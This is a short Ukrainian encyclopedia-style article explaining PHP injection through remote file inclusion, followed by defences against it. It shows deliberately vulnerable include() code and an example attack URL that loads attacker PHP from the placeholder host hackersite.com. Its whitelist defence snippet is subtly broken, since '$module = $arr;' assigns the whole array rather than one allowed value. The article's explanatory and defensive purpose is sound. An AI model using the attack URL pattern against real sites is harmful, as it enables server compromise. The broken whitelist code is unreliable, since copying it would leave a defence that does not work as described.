PHP-ін'єкція () — один із способів злому вебсайтів, що працюють на PHP, який полягає у виконанні стороннього коду на серверній стороні. Потенційно небезпечними функціями є: eval(), preg_replace() (з модифікатором «e»), require_once(), include_once(), include(), require(), create_function(). PHP-ін'єкція стає можливою, якщо вхідні параметри приймаються і використовуються без перевірки.
Приклад <? ... $module = $_GET['module']; include ($module.'.php'); ... ?> Цей скрипт уразливий, оскільки до вмісту змінної $module просто додається «.php» та підключається файл.
Зломщик може на своєму сайті створити файл, що містить PHP-код (http://hackersite.com/inc.php), і зайшовши на сайт за посиланням на зразок http://mysite.com/index.php?module=http://hackersite.com/inc виконати будь-які PHP-команди.
Способи захисту Існує декілька способів захисту від такої атаки:
Перевіряти, чи не містить змінна $module сторонні символи: <? ... $module = $_GET['module']; if (strpbrk($module, '. ?/:') ) die('Blocked'); include $module. '.php'; ... ?> Перевіряти, що $module присвоєно одне з допустимих значень: <? ... $module = $_GET['module']; $arr = array('main', 'about','links','forum'); if (!in_array($module, $arr) ) $module = $arr; include $module. '.php' ; ... ?> Цей спосіб є ефективнішим.
PHP надає також можливість відключення використання віддалених файлів, це реалізується шляхом зміни значення опції allow_url_fopen на Off у файлі конфігурації сервера php.ini.
Див. також Ін'єкція в хакерських атаках SQL ін'єкція
Посилання Сторінка документації PHP, присвячена безпеці